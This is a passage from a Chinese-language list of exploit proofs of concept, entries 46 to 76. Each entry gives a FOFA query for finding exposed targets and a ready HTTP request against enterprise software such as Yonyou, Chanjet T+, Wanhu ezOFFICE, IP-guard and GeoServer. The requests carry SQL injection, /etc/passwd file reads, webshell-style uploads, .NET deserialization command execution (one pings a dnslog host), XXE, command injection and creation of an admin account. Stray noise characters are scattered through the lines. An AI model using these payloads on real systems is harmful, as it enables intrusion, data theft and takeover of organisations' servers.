; a! G2 x- T/ R46. 用友GRP-U8 sqcxIndex.jsp SQL注入
$ Z8 s3 B. B+ aFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; I( g. ?. z4 sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* X# i: u# U6 Z' L" d& J

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
/ H) K- b' ]8 i8 b3 ?+ yGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
" i3 o! B0 b* XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
% ?7 m" P+ |  [3 B% f( mIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
" r# k+ p6 o' Y- O- U' y( e, lConnection: close
& d/ S% D7 x  t3 l+ t5 B$ N


48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
, u5 O+ Y4 E8 l" ~. s: RPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 K/ V4 @" H. YAccept-Encoding: gzip, deflate
% E* I4 O: h! S4 A6 iContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
2 [# q& Z# p* A+ u1 f, Q, Z8 D------269520967239406871642430066855
3 w/ E( L( `) |- LContent-Disposition: form-data; name="file"; filename="s.php"
0 u: p8 W' [- b* u% Z1231
Content-Type: application/octet-stream
------269520967239406871642430066855
) y. O- K( c! a& }4 ]* c! QContent-Disposition: form-data; name="upload"
0 ]1 M5 U( f) s/ z5 uupload
------269520967239406871642430066855--

! [: p# J# D5 [7 j3 k: A5 m2 g
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
: O5 v2 ?$ s6 Q. a, MFOFA：body="用友U8CRM"

4 Y  @% @( B4 s4 Z4 z* x3 sPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
( _( s# t- B) }% TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 O# U5 t0 V4 d, R( K, e0 IAccept-Encoding: gzip, deflate
1 P# i9 P' n9 fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
1 ~( ]7 T# x3 {2 r: _/ r* {( WContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
. }" l3 K) @. l
  C) m' X* x% u0 lwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
6 W9 d. I' J7 \! }5 p) E# K1 p9 f
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
( V' @: M1 h+ s8 Z" s1 o
/ C7 M* a2 j' `
http://x.x.x.x/tmpfile/updB3CB.tmp.php

/ O9 j+ F& t* S- E50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
; E" p/ A$ L0 W3 }# EPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
( S5 R: v: j: IContent-Length: 224
) y% v9 h7 N7 u7 {$ d8 G% u, bAccept: */*
Accept-Language: en
3 _- N1 W* e, X8 S0 eContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

, Y' K6 t' R& H% F" K9 b( s) f1 w0 b' ^searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
! v5 B9 h' {! P
. K; g* ^6 `3 z$ D0 K" I
. E# d5 H/ M2 l6 \- F51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) A; p% u+ F2 _5 AFOFA：app="云时空社会化商业ERP系统"
6 t0 ^' B! N1 K$ `GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 B6 n0 ]% O2 b; Z( I6 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  n6 a/ t& `$ a# J9 N  pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

) i# e1 m$ c7 x: [" B! y' O, g
8 d( L; \' i& _& Z2 V: \. \: k52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
9 S- }/ A6 K# I8 X% ]; wPOST /building/json_common.php HTTP/1.1
1 v/ E5 l8 `# b8 O; p, N+ t* h4 w2 IHost: 192.168.86.128:8097
: G$ O: W$ t9 l" r& I+ s) UUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ `- N7 ]8 M' @' j6 c, rConnection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
# [( ~1 f. b: ]# BAccept-Encoding: gzip

/ X  B$ ^! ?; _) j4 z6 @1 gtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

3 @, _# }, P- P+ e0 M
( z: v3 q, f' S53. 迪普 DPTech VPN Service 任意文件上传
2 ?- |5 [" m4 e* dFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
# x. b3 H& ?5 r$ _) x* `FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
* ^) s+ F+ W7 h. O- @. P0 _
% D+ n, L- E- H9 F" b1 F
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
  [% s# p1 p: }% q$ p- S
1 S5 R, ?) P+ @  D{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" Z1 E) o) K* X! G" e$ L; m7 n "MethodName":"Start",
  "ObjectInstance":{
1 B9 P" H& B2 V( W" q0 c& R   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
" r% D+ ]# B" w* ^3 P- O   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}
+ y% @& \% a" ]
- a/ X; @7 u8 k0 S+ U2 Y1 \7 w
" i) i4 a# `" ^; I- x8 ^第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
! ?$ k: V/ [# t' M" n3 q1 d, r% {/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

4 ], o+ ?* I2 r- E; I9 o3 r: U4 {56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ }0 G8 A  |; wPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
! ~. U( ?) `  W1 \
{
5 Z$ x% Z; Z8 \  R! Z  "storeID":{
" Z6 n5 k: G7 N! B2 n2 v    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  Q8 @# ^- B0 O   "MethodName":"Start",
5 g- u# g. U# ?" t0 l5 `    "ObjectInstance":{
+ O. l! q6 [# k) z7 u       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 d- d1 |& C1 V        "StartInfo": {
3 ]' `+ h% ^7 i* w  }           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
4 l  ^9 z3 O" }! s! x       }
" G0 j8 J; G  j& k7 h% E: C    }
3 S  y; c; f9 G) m  }
5 o% R* a6 \) A7 I}


$ n; b* C0 z+ H* v- [. C57. 畅捷通T+ keyEdit.aspx SQL注入
# E9 }+ ]: ^- Y: S" VFOFA：app="畅捷通-TPlus"
2 O1 z3 V: @  m7 _9 T) X& UGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
, J9 \$ z. y( K+ I/ QHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 X  H% R* ~! ~0 Q( e; YAccept-Encoding: gzip, deflate
Connection: close

% V9 q5 ~, B( m+ `; n8 \) v# A, W
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# J+ n. E/ g- m3 }% u8 @Accept-Encoding: gzip, deflate
! {& [1 ]/ e/ kConnection: close
$ O6 [7 A4 X$ c5 e8 z3 l

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
) i& V+ O0 s  }: U& WPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
4 y& Z5 s  A6 QHost: 192.168.86.128:9090
) g! {( u8 x' ~$ a2 b1 O5 hUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
; B+ d5 |' K$ ZAccept-Language: en
* S8 e8 K5 }  [/ VContent-Type: application/x-www-form-urlencoded
# v2 U2 |. D$ FAccept-Encoding: gzip
8 A5 D/ ^' X1 S
PAYLOAD

- P* A; }. e6 U1 w* T
5 `& e5 l+ {$ Q% Q60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% @" C' |2 ]  L) BHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# _8 l# {, D+ R( Z0 \Connection: close


* k8 I" R5 p* d* d+ f0 m3 A61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
* ?' v: r0 G$ g. f3 A( u/ KPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
+ P& A/ }; I' _3 b  G) \) }9 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' {+ u# Y4 z1 I% CConnection: close
0 ^9 g+ @2 @, W" u7 b# AContent-Length: 27
+ f/ N7 I6 [- Y" d4 E' EAccept: */*
Accept-Encoding: gzip, deflate
% [, o: S8 E2 eAccept-Language: en
5 D2 L1 L: C. v# WContent-Type: application/x-www-form-urlencoded
9 Y$ a+ u  k8 U& X3 {( j
8uxssX66eqrqtKObcVa0kid98xa

; ~  K5 F2 S) C# \4 N" R: H# q) F
! \3 l) Q5 M  }; J0 k) O62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
* G6 C' q% Y" ~" q' E4 iGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
  h% ]; B( g- c; |$ W* J! U2 OHost: x.x.x.x
$ a# {% p6 {  h0 RUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
& w1 t( Z+ s4 _. _; e5 n9 QConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


5 G: Z5 m9 ~+ y( p) W, \访问

9 e" {, i- W- ?9 l: |8 s% _GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: T( O+ b, V, Z/ S( g  m' H' GHost: x.x.x.x
* V# ]  }0 T9 k& c

63. IP-guard WebServer任意文件读取
* Z& s+ P* X# b: r8 e- L& MIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
$ M% U: L% ^0 d, _3 y  QPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% A9 z  y( }& p( s8 [% ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" }- E1 w8 K3 z* i# nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 K( X. G) E9 W3 q- |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ h2 j8 N/ J. G  K. yConnection: close
/ o3 P# g- h% HContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
+ ~6 X8 v' ^) ^! \! \  kFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
5 `/ r! M- m" P% z0 |3 ZHost: 192.168.86.128:9001
  e& e0 ~* k; a% x# H4 o$ jUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
0 Y, @$ P  T4 ^8 e2 C- A0 EContent-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
; B( Z5 l% K7 @( @$ t<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
, y7 h: f7 z0 h* L8 W" k& ]6 z% h+ }<soap:Body>
+ d" w0 {) F0 u+ n$ K    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
' I. z" b7 n3 x( K5 B' Q7 _7 U    </GetOSpById>
. U" `: S- M' S$ r3 s) [  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
2 L) M! L3 a4 ?响应200即成功创建账号test123456/123456
+ v. ?6 ]- r2 X, {POST /SystemMng.ashx HTTP/1.1
Host:
% z& f( \# @7 n# gUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
5 ^9 J5 n' `" O2 g: h: zConnection: close
Accept-Language: en
5 q. w0 ^0 c+ v% V7 zContent-Length: 174
( V9 G: \3 @; m; p
3 P& s: U9 l% T' PoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

$ K. u2 [# M& U# C
2 |/ m! x/ L; l$ z66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
$ J5 I  \/ ]' D. s
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
& U% h! u/ s8 F1 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
1 p, u5 K" ~) u/ oConnection: close
Accept: */*
2 U3 ~7 X% K; N. {Accept-Language: en
Accept-Encoding: gzip

4 D5 d, [2 u7 G  E# I3 l
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
0 k9 g. g" b: G
" K: {3 U- l& n- h2 f# Z$ y" P67. 万户ezOFFICE wpsservlet任意文件上传
, Z% O2 {/ g% d9 sFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
9 V3 {+ B  C5 x! X# ^" F- ?Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
, q) j/ V+ `7 r2 I8 U: N: ?Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
' L# c/ m, [7 p: p1 ~: fConnection: close
2 j2 r- J. g: wContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
5 I+ F3 U4 Q3 u! x2 }8 m/ a
* }% H; h: ~. G5 g$ n--ufuadpxathqvxfqnuyuqaozvseiueerp
. B) ^0 X$ O: \$ W1 GContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
2 k. s& p" p2 q
<% out.print("sasdfghjkj");%>
/ {/ [/ j% ]3 d9 M* q--ufuadpxathqvxfqnuyuqaozvseiueerp--
; D/ z/ j: B& N1 z. ~- w6 c
! M+ U7 e7 Z3 Z# \. C# W% s; B3 q; ~
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
# s7 |" X/ l( e0 A! S! G& i+ iFOFA：app="万户ezOFFICE协同管理平台"
; h- O4 G! f# D( Y; w5 S9 dGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# z4 h2 b# }9 t/ P3 e# y: O; I  kHost: {{host}}
% u; G! r. Q$ ]0 ]$ \% ]- sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
" g' _; ~  z4 v1 [Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. @7 m- {# ]. Z; i1 w6 z2 r7 zAccept-Encoding: gzip, deflate
2 m* a) S5 z% y7 L$ tAccept-Language: zh-CN,zh;q=0.9
Connection: close
. m" G" w% }8 @3 P

+ v2 @' b8 ^& o69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
1 f! P* f& F2 _GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
$ e! e/ f/ k  A2 MHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 S7 E* s/ [4 F( r+ PAccept-Encoding: gzip, deflate
7 J: @  Q( a" t' C6 i4 XAccept: */*
2 t9 A" k, F* r1 [1 OConnection: keep-alive
* `! T; S6 }( u' j/ T

7 g2 Q- `: t! o. r/ g( j' n7 v70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
8 c# ^# w7 J( X1 U3 xPOST /member/success.aspx HTTP/1.1
6 c0 p8 Y/ S( D/ J4 dHost: {{Hostname}}
" ^6 u+ a% P# r- O/ D' v6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
; T) J1 t1 D+ x. n6 E% d) {- a: b( WContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

2 r& d1 k8 z  `, d9 X8 p__VIEWSTATE=PAYLOAD
+ ], w$ `* u5 H! }2 D. G
- B7 Z8 D8 H2 g$ `9 {2 t2 t% o
0 @: w; h6 |8 u1 Z2 {( l: |( O5 y( w71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
( _$ j6 O2 X0 l9 H, F6 D" LGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 J0 W9 v! ]: Q* f* ^* UConnection: close
/ a+ d3 e0 X+ y; D+ ?( @9 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 b( H% |4 G- N' UAccept-Encoding: gzip, deflate
2 c& G3 }- G, G3 K  I( lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


' i1 F0 e$ z) E; R: ~; D72. 致远OA getAjaxDataServlet XXE
5 v  S1 {& ~8 r: iFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
* _! c" T9 w0 a, G  y4 ~Host: 192.168.40.131:8099
" |; g; O- }+ O3 p% i. dUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
, J* R! Y( U, l) c* B' z0 r& DConnection: close
8 F% o) k4 A* T; DContent-Length: 583
! s* i, g! {/ I1 @$ {, fContent-Type: application/x-www-form-urlencoded
0 U  A/ g% K: R& \; P: pAccept-Encoding: gzip
; j! T1 y2 A3 l. [! h
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  U5 e2 W/ d: ?

73. GeoServer wms远程代码执行
  V- x) y# y- Y3 w* l. FFOFA：icon_hash=”97540678”
& ~9 s; D: f  y& i! APOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
/ R6 F( |8 S: gContent-Type: application/xml
. K" @# C7 f& o" _SL-CE-SUID: 3
7 \7 e9 q# L1 ?+ _* {
/ ^" J4 x$ t: a8 {' S7 i$ EPAYLOAD
: t5 q  v/ h/ E. s

* f; I# Q7 _+ K& m74. 致远M3-server 6_1sp1 反序列化RCE
( y( e; d9 H9 W+ \/ q- x, {FOFA：title="M3-Server"
PAYLOAD
, ~/ X% n7 u7 u: l
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
$ Y, c" R3 e6 `& g/ L4 h; ]5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- |5 m0 |; X: j) I1 eConnection: close
1 k( @5 z; O( A+ B) JAccept: */*
Accept-Language: en
$ I; k+ c, `" L- d& cAccept-Encoding: gzip
7 \7 h8 _+ ^+ I0 A

$ k1 I! ]& d) sGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
9 o9 B- Y  Y/ r3 R

: |% n- [: ~5 E( K% p( G76. 新开普掌上校园服务管理平台service.action远程命令执行
7 x3 h6 [3 `* X6 B) [  m( P' KFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
  E1 \1 Q; f/ [. y2 U2 ]) aContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 r% a0 T  c& R* F8 D8 L' ^/ hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
7 U- }& O; [0 d9 ?Upgrade-Insecure-Requests: 1
